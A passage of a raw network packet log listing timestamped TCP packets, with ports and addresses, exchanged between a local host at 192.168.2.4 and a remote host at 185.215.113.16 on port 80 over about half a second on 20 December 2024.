Dec 20, 2024 17:10:58.928117990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.928129911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.928165913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.928438902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.928482056 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.928823948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.928881884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.928893089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.928932905 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.929003954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.929052114 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.929402113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.977982998 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.073827028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.073859930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.073877096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.073936939 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.074021101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.074067116 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.074126959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.074141026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.074182034 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.074378967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.074580908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.074665070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.074677944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.074701071 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.074732065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.074831009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.075335979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.075387001 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.075423956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.075438023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.075479031 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.107091904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.107110023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.107121944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.107160091 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.107222080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.107270002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.107537031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.107628107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.107640028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.107680082 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.107826948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.107877016 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.108017921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.108115911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.108128071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.108182907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.108340979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.108380079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.108845949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.108946085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.108957052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.109024048 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.109179974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.109217882 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.109580994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.109719038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.109730959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.109828949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.109910011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.109949112 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.110445976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.110519886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.110532045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.110593081 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.110707045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.110748053 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.111282110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.111377954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.111390114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.111443043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.111627102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.111666918 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.112096071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.112202883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.112214088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.112260103 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.112446070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.112488031 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.112885952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.112940073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.112951040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.112991095 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.113148928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.113193035 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.113591909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.113677979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.113692045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.113754988 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.113914013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.113954067 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.114389896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.114481926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.114492893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.114547014 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.114706993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.114748955 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.115171909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.115278959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.115289927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.115356922 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.115506887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.115547895 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.115998983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.116105080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.116116047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.116157055 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.116337061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.116377115 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.117058039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.117132902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.117144108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.117187977 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.117357016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.117404938 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.117558956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.117666960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.117679119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.117708921 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.117913008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.117954016 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.118391037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.118489027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.118499994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.118544102 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.118727922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.118768930 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.119185925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.119293928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.119306087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.119352102 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.119663000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.119714975 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.119977951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.120085955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.120099068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.120137930 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.120306969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.120349884 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.120809078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.120927095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.120939970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.120979071 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.121123075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.121165037 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.121577978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.121669054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.121680021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.121720076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.121922970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.121967077 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.122400999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.122494936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.122504950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.122550964 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.122826099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.122870922 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.123176098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.123289108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.123301029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.123338938 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.123512983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.123554945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.124011993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.124119997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.124130964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.124198914 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.124320030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.124360085 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.124789953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.165357113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.265980959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.266052008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.266062975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.266097069 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.266132116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.266172886 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.266200066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.266355038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.266366005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.266376972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.266400099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.266419888 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.266752005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.266872883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.266885042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.267096043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.267122984 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.267138004 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.267525911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.267616034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.267632008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.267657042 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.299206972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.299221039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.299232006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.299261093 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.299308062 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.299400091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.299482107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.299524069 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.299635887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.299647093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.299657106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.299693108 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.299932957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.300072908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.300085068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.300112963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.300136089 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.300287962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.300745010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.300796986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.300847054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.300858021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.300894976 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.301069021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.301666021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.301711082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.301722050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.301748037 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.301769972 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.301898956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.302489042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.302571058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.302581072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.302601099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.302625895 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.302745104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.303128004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.303172112 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.303216934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.303227901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.303267002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.303455114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.303947926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.303992987 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.304027081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.304038048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.304084063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.304286957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.304812908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.304936886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.304948092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.304996014 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.305145979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.305541992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.305633068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.305634022 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.305644989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.305684090 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.305895090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.306359053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.306442976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.306452990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.306492090 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.306682110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.307140112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.307183981 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.307240009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.307250977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.307286024 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.307482004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.307956934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.308043957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.308054924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.308078051 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.308101892 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.308263063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.308753014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.308851957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.308865070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.308885098 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.308907032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.309077024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.309545040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.309659004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.309669971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.309698105 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.309722900 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.309889078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.310369015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.310415030 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.310511112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.310523033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.310556889 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.310771942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.311183929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.311229944 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.311275005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.311286926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.311335087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.311482906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.311933041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.312030077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.312043905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.312068939 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.312093973 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.312254906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.312764883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.312808990 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.312859058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.312870026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.313082933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.313106060 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.313524961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.313605070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.313616991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.313677073 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.313677073 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.313851118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.314347982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.314393044 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.314440012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.314451933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.314498901 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.314665079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.315141916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.315222979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.315239906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.315273046 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.315294027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.315460920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.315982103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.316076040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.316087961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.316116095 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.316138983 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.316296101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.316741943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.316776991 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.316833973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.316844940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.316876888 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.458379984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.458467960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.458576918 CET	80	49744	185.215.113.16	192.168.2.4
